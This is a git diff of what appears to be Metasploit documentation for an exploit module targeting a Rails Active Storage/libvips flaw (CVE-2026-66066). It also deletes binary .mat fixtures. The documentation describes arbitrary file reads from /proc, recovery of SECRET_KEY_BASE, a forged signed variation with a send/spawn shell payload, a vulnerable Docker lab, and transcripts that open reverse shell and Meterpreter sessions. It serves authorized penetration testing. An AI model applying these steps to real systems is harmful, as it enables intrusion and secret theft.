z%pg`g6a)`;L-yPG-Py^^Ch$k+{;4=>cZ7T{Wu8XU!=lXcXd;Clm&sg;kjNnHi(egJ zp9QcPf0}{ULAT#(?l(;kt_wBT#&~RmcN)vaR~jjRTUuCzFNAMoZ-IUQ_K3ej{#W%z zSG^u6P2P`@%%G~_%4Nm||5XMCJ%6YVd`+k3dRkJQaWZ5&Px36C$+R>quFDfvSQ9O1 znEJ&@SLgxywb3*CugLEz?WlU!Jl$0&!wRm0YiQd>M-Amy%kj0K^FzH?N=FZuI?A!Q zQ!2yfX$v}LX+cZrx)7Lq{wAJAMWF?|YNNVBj0xZ|Ny}qn!I?G0w~4<4djGT^QoL;7 uJ>*&J6>>WE;-@<=&eCx*@n%t>{xR))xnRBU;VxAwjOL3_z7I`(QLw8$$*Qgv9|97^O#42za%$5=9PejVCm8Urhr76k%1kYejx-Xg=#>|WrCUvvmXb|3{3AJm7rV&(E&-p ztPC7rJ`)qfAaY3gh{!2WEnxTYFc^SoMh0G>O&koq;Br1b zIVZ8W7$hMKw1^c*L)^r`P@0)nVgc3x3t2D+gMh^YOchLj0J7ykUHSz@`N{glsX1x- bxrqhE48eZ>E})VCmVXtPF^nD+AR+_+??PZ^ diff --git a/data/exploits/CVE-2026-66066/proc_mem_1024.mat b/data/exploits/CVE-2026-66066/proc_mem_1024.mat deleted file mode 100644 index 63609e175f8935f0ddb7f32f19ca3b67e25e9d1a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1968 zcmeHH%}T>S5S}D03B`iqMLg}%izXMrqmiamFj`Cx-ZX?&1No6879T<1#G{YlTj}o3 z3}TC*Ab7A7vR`I)W_EY-&Bo#EBs>!Pdx4M-oouSK*loMINpGYGvo4=Yk&qfEWAUp3 z_Hhg=`O^wKO-AG4V0&OT;d#)5b=;4Q@J90De%4U~xS|h>@R9JD;w{h*z!upzDF340 z>^zDKC+EaHGMj(Ux;2GVvF_EkC>Un%E2)^Vy_NPZ3S5S}D0U5W+8i+I|j7fmjL$3&V^!Dul(c+(J84dh3XSUh^PZ{pF%@U3)z zW(1WU3W5hSA^Yv@&dg3G-)t1jPlIEAc;IpI*owML^8Kc*>f~1NAZ@dS;4!LEJmJ48 zV4p4JGxyb6OEJWGrCE}$|25X`P z1I=GED2DEtxVDM>gz;9PBl)f@RaY4g!{9zJt=qN~!CzIiS1R`K1JMp77dlw*B% zimx|t*Z@z@EEq{!29dt!uhKke8nv-459&)aIRQLmWqYJOsIpr5G0=Y?EApRVzU1KE d*H!8^BENA9Q2@ke=VNsfQ2%m=EIVAM0w4PRVq^dS diff --git a/data/exploits/CVE-2026-66066/proc_mem_2048.mat b/data/exploits/CVE-2026-66066/proc_mem_2048.mat deleted file mode 100644 index 4a731746557ce5c05155e9a2fac22479a449edc9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1968 zcmeHH%}T>S5S~q15{d=Ii+IY>izXMrVPXylDul2J$0GEIxw1iANv9x6<96 z8APRrg5be!$bLIJ-^^|%-)$L@7%2?ydN^`#RuIRx7rZabF?(Jmyt*WIVXCM)=Y3Ij|M`Pbpt^@E@8w^IKWm Y`lT!ZlJkp^ehK*gdNy0Gag_>u07oHT>Hq)$ diff --git a/data/exploits/CVE-2026-66066/proc_mem_512.mat b/data/exploits/CVE-2026-66066/proc_mem_512.mat deleted file mode 100644 index 9dde8115e9754b03935ede651764ec0138c90eb3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1968 zcmeZu4DoSvQZUssP)MyPNiE7t%+W0_$uCMwPgQVCF3BuQRS1T1eS_T;s0tXEJbf8P z!GMN9r-zFhFP9V-*by8Y3@i)+5ce=asQ*x~fgP0(;W02IKpBisx&unDfa+&t06_)@ z38=Ur)O>VxAwjOL3_z7I`(QLw8$$*Qgv9|97^O#42za%$5=9PejVCm8Urhr76k%1kYejx-Xg=#>|WrCUvvmXb|3{3AJm7rV&(E&-p ztPC7rJ`)qfAaY3gh{!2WEnxTYFc^SoMh0G>O&koq;Br1b zIVZ8W7$hMKw1^c*L)^r`P@0)nVgc3x3t2D+gMh^YOchLj0J7ykUHSz@`N{glsX1x- bxv9Af48eZ>E})VCmVXtPF^nD+AR+_+TvK24 diff --git a/data/exploits/CVE-2026-66066/proc_mem_64.mat b/data/exploits/CVE-2026-66066/proc_mem_64.mat deleted file mode 100644 index 636e5dc44adb279f36cc5f3dc4259f06867aa61a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1968 zcmeHH%}T>S5S~q1vJ?x77xA=5FPdBgk4BnO!Dul(c+(J84dh3XSbPM1lOBBx-%9sq zMo{UYAb7A7vfs|`%;F%F^buNN!N|aK-ILhySVq({VV{AACh$ZTa*{JhR1+#WJhQVj+vxY*}6&TZ1)` zfoJ%OlV<21#&syN&A$R&#dmF~y9zy!!F}LHb{q`kskmB?FN0tu-%-J-qg?jUDdb|# zw*i4c21AvJLuBsx>oiZAMk}^eqP{{r6Tp2|v`5CnR@MkVCi@=*X{`V3b8@BgtGZ16 eM&`GEvq&nFQ@h0H7bATm*gh661?pg}3cLg0Bw+CX diff --git a/data/exploits/CVE-2026-66066/proc_version.mat b/data/exploits/CVE-2026-66066/proc_version.mat deleted file mode 100644 index 96d391bae4500c3c71dd7df459daecbc99475303..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1968 zcmeHH%}T>S5S}D03B`iqMLg}%i#8X*qmiamFj`Cx-ZX?o19c-w3_gOsiN`*MZ>76C zGm46bg5bey$bR#`o5{DEMDvsANbK*0LOwLIQrTj+ZptdVmLkfVqLm^gHAyGpR|mMq z33TI6JMc6ePlki-f!#z9Ko8b&KQ6*6jivutM-AYL1c&gE@R{-*Fb}{M**B>E*SPt4 z9D|PJ^%yA)Zh9yMZ0PV`bzmAtGxNb0^wrF#7vdQ=L#no@N_8t$V@=Gp=Ju-?50!#twMS`$-`W zuD=GM6&x7q*Z>lH&tK+?tgek?Q%CnTa?*XFngg4`owdrhiT?vfasG_<%L${qs?0~N Ztm>jv+L)f6jm=HK=T~?f+2JZ3cmpv3U)TTu diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index 4e0abbb7a3a31..99fe7526c28d9 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -1,233 +1,481 @@ ## Vulnerable Application -This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when an -application uses libvips for image processing and accepts image uploads from -untrusted users. Active Storage did not block libvips unfuzzed loaders, so a -crafted MATLAB v7.3/HDF5 image can read files accessible to the Rails process -through a normal image representation response. The module reads -`/proc/self/environ` in bounded chunks, recovers `SECRET_KEY_BASE` directly or -through Rails local secrets / encrypted credentials, forges a signed Active -Storage variation, and triggers a JSON Vips transformation for command -execution. If ordinary secret recovery fails on Linux, the module can instead -read `/proc/self/smaps` or `/proc/self/maps` plus `/proc/self/mem` and recover -the in-memory Active Storage verifier key using an existing signed variation as -an HMAC oracle. - -The affected versions are: - -* `activestorage < 7.2.3.2` -* `activestorage >= 8.0, < 8.0.5.1` -* `activestorage >= 8.1, < 8.1.3.1` - -The underlying vulnerability requires -`config.active_storage.variant_processor = :vips` and an unauthenticated or -attacker-controlled image upload. The Rails advisory explicitly says generating -variants is not a separate affected-application requirement; this module still -uses a representation-based transport and therefore covers a narrower practical -chain than the full advisory scope. The module's current workflow expects the -standard Active Storage direct upload endpoint and at least one valid -representation URL anywhere in the application. Variation keys are -application-global rather than bound to a blob, so `REPRESENTATIONURI` can reuse -a public representation URL from an unrelated image. Automatic file recovery -first tries a lossless byte layout, then retries with a blocked HDF5 layout -that repeats each byte into a 5x5 pixel square and samples the untouched center -pixel. That fallback was validated against ordinary PNG `resize_to_limit` -representations down to 20x20, using 32, 16, 8, and 4 byte chunks as needed. -Cropping, lossy output, and more destructive transforms can still break -automatic recovery. If the operator supplies `SECRET_KEY_BASE`, any valid -representation token is enough for the forged variation itself. If -`REPRESENTATIONURI` is unset, the module first reuses a representation found on -`LANDINGURI` and only falls back to creating a safe PNG through `SUBMITURI` and -`ATTACHMENT_FIELD`. Those route requirements are module transport assumptions, -not additional vulnerability preconditions. - -The module's automatic secret-recovery path is Linux-specific because it reads -`/proc/self/environ`. It first checks for `SECRET_KEY_BASE` in the environment, -then falls back to `/proc/self/cwd/tmp/local_secret.txt`, and finally tries -Rails encrypted credentials using `RAILS_MASTER_KEY`, `config/master.key`, or -the common environment-specific key files for `production`, `staging`, -`development`, and `test`. If the operator already knows the Rails secret, the -`SECRET_KEY_BASE` option skips that recovery step. The environment reader uses -4096-byte HDF5 external-storage chunks up to 65536 bytes, rather than assuming -the useful variable appears in the first page. Encrypted credential reads are -similarly bounded to 262144 bytes. -If those sources do not yield the Rails secret, the module reads -`/proc/self/smaps` when available, orders writable private heap and anonymous -mappings by resident bytes, and scans `/proc/self/mem` for the 64-byte Active -Storage verifier key. If `smaps` is unavailable it falls back to -`/proc/self/maps` address order. This fallback is slower and noisier than normal -secret recovery, depends on readable Linux procfs memory files, and requires a -valid existing variation token to validate candidate keys. Procfs metadata -reads are bounded to 8 MiB and stop earlier once the file is exhausted. -The memory scan is a bounded best-effort fallback rather than a universal -guarantee: a sufficiently large or unusual worker can keep the verifier key -outside the default scan budget, and increasing `MemoryScanMaxBytes` trades -more HTTP requests for broader coverage. -The current representation-based workflow was validated with -`image_processing` 1.14.0. `image_processing` 2.0+ independently calls -`Vips.block_untrusted(true)` when its Vips backend loads, which blocks this -specific module path even on vulnerable Active Storage. - -The default payload is `cmd/unix/reverse_bash`, which works directly. Fetch adapter -payloads such as `cmd/linux/http/x64/meterpreter/reverse_tcp` also work when the -target has the selected fetch utility available and can reach the Metasploit -fetch listener. -The command execution path uses a signed JSON variation containing -`send: ["system", ...]`. The Vips transformer skips the MiniMagick-only -transformation allowlist, and `ImageProcessing::Processor#apply_operation` -dispatches that operation through Ruby's `send` to private `Kernel#system`. -This path was validated with the strict `:json` Active Support message -serializer and does not require Marshal fallback. - -Running `check` is not side-effect free: it creates an Active Storage blob to -verify the file-read primitive. If no existing representation URL is supplied -or found, it also creates one submitted safe record to obtain a variation key. - -The module was tested against a Dockerized Rails 8.0.5 application using -Ruby 3.2, libvips 8.16.1 built with `-Dmatio=enabled`, `ruby-vips ~> 2.2`, -and `image_processing ~> 1.2` (1.14.0). The application used a conventional -`has_one_attached :image` upload form and rendered -`@post.image.variant(format: :png).processed` on the show page. - -The Rails advisory is available at: -https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm +CVE-2026-66066 affects Ruby on Rails Active Storage applications that process +untrusted image uploads with Vips. Active Storage allowed libvips operations +marked as unfuzzed or untrusted. A crafted MATLAB v7.3/HDF5 image can therefore +make a libmatio-enabled libvips build read files accessible to the Rails worker. + +The affected Rails ranges are: + +| Release line | Affected releases | Fixed release | +| --- | --- | --- | +| Rails 6.0 and 6.1 | 6.0.0 through 6.1.7.10 when Vips is configured | Upgrade to 7.2.3.2 or later | +| Rails 7 | 7.0.0 through 7.2.3.1 | 7.2.3.2 | +| Rails 8.0 | 8.0.0 through 8.0.5 | 8.0.5.1 | +| Rails 8.1 | 8.1.0 through 8.1.3 | 8.1.3.1 | + +Vips was not the default processor in Rails 6. Applications loading Rails 7.0 +or later framework defaults select Vips unless the application overrides the +processor. Rails 7.1 and earlier are no longer security-supported, so they did +not receive backports. + +The fixed Rails releases call `Vips.block_untrusted(true)`. The fix requires +libvips 8.13 or later and ruby-vips 2.2.1 or later; older libvips versions cannot +block the affected operations. `image_processing` 2.0 and later also blocks +untrusted Vips operations when its Vips backend loads. + +This module additionally requires a libvips build with MATLAB/libmatio support, +an upload path reachable by the operator, and access to an Active Storage direct +upload endpoint. Debian Bookworm's `libvips-dev` package provides the loader used +by the tested setup. + +### File-read transport + +The CVE affects both the Active Storage Vips analyzer and transformer. Merely +accepting an attachment can therefore reach the vulnerable loader; requesting a +variant is not a prerequisite for every application-specific attack. Standard +Active Storage routes do not expose analyzed blob metadata, however, so this +generic module uses a representation response as its exfiltration channel. + +For automatic secret recovery, the module needs a valid Active Storage +representation path. It can use `REPRESENTATIONURI`, find one on `LANDINGURI`, +or attach a safe PNG through the application's form and extract the resulting +path. Active Storage variation tokens are application-wide rather than bound to +one blob. The module retains the valid variation token while replacing the blob +ID with the signed ID of each crafted direct upload. + +The generated MATLAB files define square `uint8` datasets. Alternating columns +come from the target file and `/dev/zero`, with a zero boundary around the +image. This isolates file bytes horizontally. The module can also invert the +vertical sharpen convolution used by image_processing 1.14. It tests 256, 100, +64, 32, 20, and 16-pixel square layouts and selects the largest layout that +survives the existing representation transformation. The tested 20x20 resize +recovers 180 bytes per HTTP request. + +Sharpening clips sufficiently bright input bytes, so exact inversion is not +possible for every byte value. Strict reads reject pixels that cannot be +reproduced exactly. Process environments use a conservative partial mode that +replaces uncertain bytes with NUL and accepts a recovered secret only when it +validates against a genuine Active Storage signature. Partial environment loot +is labelled accordingly. + +Cropping, scaling below 16x16, lossy output, rotation, or other destructive +transformations can prevent this transport from recovering bytes. This does not +show that the application is unaffected; an application-specific analyzer +metadata channel or another Vips operation may still expose the CVE. + +Without a supplied secret, the `check` method actively uploads crafted files +and confirms exploitation by recovering `Linux version ` from `/proc/version`. +It returns `Vulnerable` only after that file read succeeds. With +`SECRET_KEY_BASE`, `check` safely validates the secret and signed-variation +transport without exercising arbitrary file read, so it returns `Detected`. + +### Secret recovery and command execution + +Without `SECRET_KEY_BASE`, exploitation searches these sources: + +1. Rails local development secret files under `/proc/self/cwd/tmp/`. +1. `SECRET_KEY_BASE` or `RAILS_MASTER_KEY` in `/proc/self/environ` and + `/proc/1/environ`. +1. `config/master.key` and environment-specific credential key files under + `/proc/self/cwd/config/`. +1. `config/credentials.yml.enc` and environment-specific encrypted credentials. + +Every `secret_key_base` candidate is verified against a valid signed Active +Storage blob ID. Process environment data recovered during exploitation is +stored as Metasploit loot. + +The RCE stage uses a signed Rails/ActiveSupport variation and +ImageProcessing operation dispatch. ImageProcessing 1.2 through 1.14 accept a +transformation equivalent to: + +```json +{"send":["spawn","/bin/sh","-c",""]} +``` + +The ImageProcessing 1.x transformation dispatcher invokes the supplied +operation name, using `send` in early releases and `public_send` in later ones. +Naming that public operation `send` invokes inherited `Kernel#send`; its first +argument then invokes private `Kernel#spawn`. This starts the command +asynchronously and avoids blocking the representation worker. The same +`send`/`spawn` form works throughout the ImageProcessing 1.x versions relevant +to affected Rails applications; no version-specific direct-`spawn` fallback is +needed. ImageProcessing 2.0 and later block the untrusted libvips loader used +for the file-read stage and are outside this module's exploitable configuration. + +The module detects the ActiveSupport message format from a genuine signed blob +ID. Modern Rails versions normally use JSON. Older affected versions can +require Marshal as the signed-message serialization transport; in that case the +module applies `Marshal.dump` only to the same controlled Hash, Array, and +String values. This is not a Marshal object gadget and no target-controlled +value is passed to `Marshal.load` by the module. Rails configurations using the +MessagePack serializer are recognized automatically and accept the serializer's +JSON fallback. The execution primitive remains native to the Rails application +stack and requires no additional gadget-library dependency. The vulnerability's +original researchers had not disclosed their own file-read or RCE construction +when this module was developed. + +When `SECRET_KEY_BASE` is supplied, the module directly uploads a safe PNG and +uses its valid signed blob ID to determine the key-generator and verifier +digests. SHA-1, SHA-256, SHA-384, and SHA-512 configurations are supported. It +then constructs the standard Active Storage representation route and triggers +RCE. A pre-existing representation is not needed in this mode. + +This exploit uses arbitrary file read only to recover the material required for +RCE. A future general-purpose arbitrary-file collector should be a separate +`auxiliary/gather` module rather than adding an unrelated action to this exploit. + +## Vulnerable Docker Setup + +The following loopback-only lab reproduces the tested Rails 8.0.5 configuration +on Debian Bookworm. Do not expose this deliberately vulnerable service to an +untrusted network. + +Create this layout: + +```text +rails_vips_lab/ +|-- Dockerfile +|-- Gemfile +|-- app/ +| |-- controllers/posts_controller.rb +| |-- models/post.rb +| `-- views/posts/ +| |-- new.html.erb +| `-- show.html.erb +|-- config/routes.rb +`-- db/migrate/20260730000000_create_posts.rb +``` + +Use this `Dockerfile`: + +```dockerfile +FROM ruby:3.3.8-slim-bookworm + +RUN apt-get update \ + && apt-get install -y --no-install-recommends build-essential curl libsqlite3-dev libvips-dev pkg-config \ + && rm -rf /var/lib/apt/lists/* + +RUN gem install rails --version 8.0.5 --no-document +RUN rails _8.0.5_ new /rails --name=rails_vips_lab --skip-bundle --skip-git --skip-javascript --skip-hotwire --skip-action-mailbox --skip-action-text --database=sqlite3 + +WORKDIR /rails + +COPY Gemfile /rails/Gemfile +RUN bundle install +RUN bin/rails active_storage:install + +COPY config/routes.rb /rails/config/routes.rb +COPY app/controllers/posts_controller.rb /rails/app/controllers/posts_controller.rb +COPY app/models/post.rb /rails/app/models/post.rb +COPY app/views/posts/new.html.erb /rails/app/views/posts/new.html.erb +COPY app/views/posts/show.html.erb /rails/app/views/posts/show.html.erb +COPY db/migrate/20260730000000_create_posts.rb /rails/db/migrate/20260730000000_create_posts.rb + +RUN groupadd --system --gid 1000 rails \ + && useradd rails --uid 1000 --gid 1000 --create-home --shell /bin/bash \ + && chown -R rails:rails /rails + +ENV RAILS_ENV=development +ENV SECRET_KEY_BASE=rails-vips-lab-secret-key-base-0123456789abcdef + +EXPOSE 3000 + +USER rails:rails + +CMD ["bash", "-lc", "bin/rails db:prepare && bin/rails server -b 0.0.0.0 -p 3000"] +``` + +Use this `Gemfile`: + +```ruby +source "https://rubygems.org" + +gem "rails", "= 8.0.5" +gem "propshaft" +gem "sqlite3", ">= 2.1" +gem "puma", ">= 5.0" +gem "image_processing", "= 1.14.0" +gem "ruby-vips", "= 2.2.2" +gem "bootsnap", require: false +``` + +Use this model: + +```ruby +class Post < ApplicationRecord + has_one_attached :image +end +``` + +Use this controller: + +```ruby +class PostsController < ApplicationController + def new + @post = Post.new + end + + def create + @post = Post.create!(post_params) + render :show + end + + def show + @post = Post.find(params[:id]) + end + + private + + def post_params + params.expect(post: [:image]) + end +end +``` + +Use these views: + +```erb +<%= form_with model: @post do |form| %> + <%= form.file_field :image, direct_upload: true %> + <%= form.submit %> +<% end %> +``` + +```erb +<%= image_tag @post.image.variant(resize_to_limit: [20, 20], format: :png).processed %> +``` + +Use these routes: + +```ruby +Rails.application.routes.draw do + root "posts#new" + resources :posts, only: %i[create show] +end +``` + +Use this migration: + +```ruby +class CreatePosts < ActiveRecord::Migration[8.0] + def change + create_table :posts + end +end +``` + +Build and run the lab: + +```bash +docker build --tag rails-vips-cve-2026-66066 . +docker run --rm --name rails-vips-cve-2026-66066 \ + --publish 127.0.0.1:3003:3000 rails-vips-cve-2026-66066 +``` + +The form is available at `http://127.0.0.1:3003/`. ## Verification Steps -1. Install a vulnerable Rails application with Active Storage configured to use Vips and an image upload form. +1. Start the vulnerable lab or another authorized target. 1. Start `msfconsole`. -1. Do: `use exploit/multi/http/rails_activestorage_vips_rce` -1. Do: `set RHOSTS ` -1. Do: `set RPORT ` -1. Do: `set TARGETURI /` -1. Do: `set LANDINGURI /` -1. Do: `set REPRESENTATIONURI ` if one is already available -1. Do: `set SUBMITURI /posts` if `REPRESENTATIONURI` is not used -1. Do: `set ATTACHMENT_FIELD post[image]` if `REPRESENTATIONURI` is not used -1. Do: `set payload cmd/unix/reverse_bash` -1. Do: `set LHOST ` -1. Do: `run` -1. You should receive a command shell session. +1. Run `use exploit/multi/http/rails_activestorage_vips_rce`. +1. Run `set RHOSTS 127.0.0.1`. +1. Run `set RPORT 3003`. +1. Run `set TARGETURI /`. +1. Run `set LANDINGURI /`. +1. Run `set SUBMITURI /posts`. +1. Run `set ATTACHMENT_FIELD post[image]`. +1. Configure `LHOST` and any other options required by the default reverse Bash + payload, or select target 1 for the default Linux Meterpreter fetch payload. +1. Run `check` to confirm the representation-based file read. +1. Run `run`. + +If `secret_key_base` is already known, set `SECRET_KEY_BASE`. The module then +does not require `SUBMITURI`, `ATTACHMENT_FIELD`, or a pre-existing +representation, but it still requires the direct upload endpoint and a CSRF +token. + +Automatic file-read and secret recovery use Linux procfs. For a non-Linux Unix +target, supply `SECRET_KEY_BASE` and select a compatible command payload. + +## Targets + +### 0 (Unix Command) + +Executes an inline `ARCH_CMD` payload through `/bin/sh`. The default payload is +`cmd/unix/reverse_bash`, which requires Bash and an outbound connection to the +configured listener. + +### 1 (Linux Fetch Command) + +Uses a Linux fetch payload and stages it under `/tmp`. The default payload is +`cmd/linux/http/x64/meterpreter/reverse_tcp`. The target must be x86-64 Linux, +have a compatible HTTP fetch utility such as `curl` or `wget`, and permit writes +and execution in `FETCH_WRITABLE_DIR`. ## Options ### LANDINGURI -The path to a CSRF-bearing page. The module also reuses a representation found -on this page before falling back to the submit flow. Default: `/`. +A page containing a CSRF meta or form token. In automatic recovery mode, the +module also searches this page for an existing representation. Default: `/`. ### SUBMITURI -The path that accepts the attachment form submit. Default: `/posts`. +The application endpoint that accepts the safe attachment form submission when +the module needs to create a representation path. Its response must contain the +resulting representation image. This option is not used when +`SECRET_KEY_BASE` is supplied. Default: `/posts`. ### DIRECTUPLOADURI -The Active Storage direct-upload endpoint. Default: +The Active Storage direct-upload creation endpoint. When `SECRET_KEY_BASE` is +supplied, this path must end in `/direct_uploads` so the module can derive the +standard representation route prefix. Default: `/rails/active_storage/direct_uploads`. ### ATTACHMENT_FIELD -The form field used for the signed blob ID. Default: `post[image]`. +The form field that accepts the direct upload's signed blob ID at `SUBMITURI`. +Default: `post[image]`. ### REPRESENTATION_INDEX -The zero-based image index to use when the landing page or submit response -contains multiple Active Storage representation images. Default: `0`. +The zero-based image index to use when a page contains multiple Active Storage +representation images. Default: `0`. ### REPRESENTATIONURI -An existing Active Storage representation URL or path. When set, the module -reuses its global variation key and skips the safe upload submit flow. Automatic -secret recovery supports lossless PNG transformations and common -`resize_to_limit` PNG transformations through the blocked-byte fallback; if -`SECRET_KEY_BASE` is already known, any valid representation token is enough. +An existing Active Storage representation URL or path. Modern +`/representations/redirect/` and `/representations/proxy/` routes and the Rails +6.0 legacy `/representations/` route are supported. This bypasses the safe form +submission in automatic recovery mode. It is not needed when `SECRET_KEY_BASE` +is supplied. ### SECRET_KEY_BASE -A known Rails `secret_key_base` value. When set, the module skips automatic -secret recovery and uses the supplied secret to forge the variation token. -When using a representation that is valid for signing but too destructive for -the file-read check, also set `AutoCheck false`. +A known Rails `secret_key_base`. This skips the arbitrary-file-read phase. The +module creates a safe blob, verifies the secret against its signed ID, and +constructs the representation route itself. + +### CSRF_TOKEN + +A known Rails CSRF token. If unset, the module extracts a meta or form +authenticity token from `LANDINGURI`. + +### COOKIE + +A Cookie header for applications whose landing, upload, or representation paths +require an authenticated session. Cookies learned from responses are retained. ### KEY_GENERATOR_DIGEST -The Rails key generator digest to use when deriving the Active Storage verifier -key. `auto` validates the application's existing signed variation token and -selects `sha256` or `sha1` before sending the forged variation. Default: -`auto`. +The digest used by Rails' key generator. `auto` checks SHA-256, SHA-1, SHA-384, +and SHA-512 against a valid signed blob ID. Set this manually only if automatic +detection is not possible. Default: `auto`. + +### VERIFIER_DIGEST + +The HMAC digest used by the ActiveSupport message verifier. `auto` infers +SHA-1, SHA-256, SHA-384, or SHA-512 from a genuine signed blob ID. This is +independent of `KEY_GENERATOR_DIGEST`. Default: `auto`. + +### MESSAGE_SERIALIZER + +The ActiveSupport message serializer used for the signed variation. `auto` +detects JSON, Marshal, or MessagePack from a genuine signed blob ID. Rails' +JSON-compatible fallback is used for MessagePack; the manual overrides are +`json` and `marshal`. Marshal here is only the transport for a plain +transformation Hash; the command primitive does not use a Marshal object gadget. +Default: `auto`. ## Advanced Options -### MemoryScanMaxBytes +### EnvironmentMaxBytes + +The maximum number of recovered bytes retained from each procfs environment +file. Recovery stops early once it finds a complete `SECRET_KEY_BASE` that +validates against the signed blob ID, or a syntactically valid +`RAILS_MASTER_KEY`. Default: `65536`. -The maximum number of process-memory bytes to scan after ordinary -`SECRET_KEY_BASE` recovery fails. Raising this value broadens the best-effort -memory fallback at the cost of more HTTP requests. Default: `536870912`. +### CredentialsMaxBytes -### MemoryScanStride +The maximum number of bytes read from each encrypted Rails credentials file. +Default: `262144`. -The verifier-key candidate alignment to test while scanning process memory. -Valid values are `8` and `16`. Default: `8`. +## Side Effects + +`check` is active: it creates direct-upload blobs and representation variants. +Without `SECRET_KEY_BASE`, it recovers `/proc/version`; if the application does +not already expose a representation, it also creates a safe attachment and +application record to obtain one. With `SECRET_KEY_BASE`, it requests only a +benign signed PNG representation and does not test arbitrary file read. + +Exploitation creates more blobs and variants for file chunks. The module does +not remove database records or objects from the configured Active Storage +service. Requests can appear in Rails, reverse-proxy, job, and object-storage +logs. Environment bytes are stored locally as Metasploit loot. Successful +exploitation starts a child process with `Kernel#spawn`, and the payload may +make an outbound connection. + +The primary advisory is +[GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm). ## Scenarios -### Rails 8.0.5 on Debian Bookworm +### Rails 8.0.5 on Debian Bookworm, default Unix reverse shell ``` msf6 > use exploit/multi/http/rails_activestorage_vips_rce +[*] Using configured payload cmd/unix/reverse_bash msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 RPORT => 3003 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set TARGETURI / -TARGETURI => / -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set payload cmd/unix/reverse_bash -payload => cmd/unix/reverse_bash -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.18.0.1 -LHOST => 172.18.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 msf6 exploit(multi/http/rails_activestorage_vips_rce) > run -[*] Started reverse TCP handler on 172.18.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target is vulnerable. Recovered /proc/version through an Active Storage representation -[*] Reading up to 65536 bytes of /proc/self/environ through Active Storage -[+] Recovered SECRET_KEY_BASE from /proc/self/environ and stored environment loot in: /home/cryptocat/.msf4/loot/20260730181045_default_127.0.0.1_rails.process.en_944585.bin -[*] Detected SHA1 key derivation from the valid variation token -[*] Derived the Active Storage verifier key with SHA1 key derivation -[*] Triggering JSON Vips send gadget using a verifier key derived from /proc/self/environ -[*] Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.3:56260) at 2026-07-30 18:10:53 +0100 +[+] Selected the 20x20 sharpened text-read layout (180 bytes per request) +[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout +[*] Reading up to 65536 bytes from /proc/self/environ +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support json message serializer +[*] Validated SHA256 key derivation against a signed blob ID +[*] Stored recovered environment bytes in: /home/user/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin +[+] Recovered SECRET_KEY_BASE from /proc/self/environ +[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ +[*] Command shell session 1 opened msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (127.0.0.1) uid=1000(rails) gid=1000(rails) groups=1000(rails) ``` -### Rails 8.0.5 on Debian Bookworm with Meterpreter +### Rails 8.0.5 with the default Linux Meterpreter fetch payload ``` -msf6 > use exploit/multi/http/rails_activestorage_vips_rce -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1 -RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003 -RPORT => 3003 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set TARGETURI / -TARGETURI => / -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp -payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.18.0.1 -LHOST => 172.18.0.1 -msf6 exploit(multi/http/rails_activestorage_vips_rce) > set FETCH_SRVHOST 172.18.0.1 -FETCH_SRVHOST => 172.18.0.1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set target 1 +target => 1 +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set SECRET_KEY_BASE rails-vips-lab-secret-key-base-0123456789abcdef +SECRET_KEY_BASE => rails-vips-lab-secret-key-base-0123456789abcdef +msf6 exploit(multi/http/rails_activestorage_vips_rce) > set FETCH_SRVHOST 172.17.0.1 +FETCH_SRVHOST => 172.17.0.1 msf6 exploit(multi/http/rails_activestorage_vips_rce) > run -[*] Started reverse TCP handler on 172.18.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target is vulnerable. Recovered /proc/version through an Active Storage representation -[*] Reading up to 65536 bytes of /proc/self/environ through Active Storage -[+] Recovered SECRET_KEY_BASE from /proc/self/environ and stored environment loot in: /home/cryptocat/.msf4/loot/20260730181356_default_127.0.0.1_rails.process.en_680710.bin -[*] Detected SHA1 key derivation from the valid variation token -[*] Derived the Active Storage verifier key with SHA1 key derivation -[*] Triggering JSON Vips send gadget using a verifier key derived from /proc/self/environ -[*] Sending stage (3090404 bytes) to 172.18.0.3 -[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.3:51262) at 2026-07-30 18:13:59 +0100 +[*] Using operator-supplied SECRET_KEY_BASE +[*] Detected SHA1 Active Support verifier signatures +[*] Detected the Active Support json message serializer +[*] Validated SHA256 key derivation against a signed blob ID +[!] The service is running, but could not be validated. 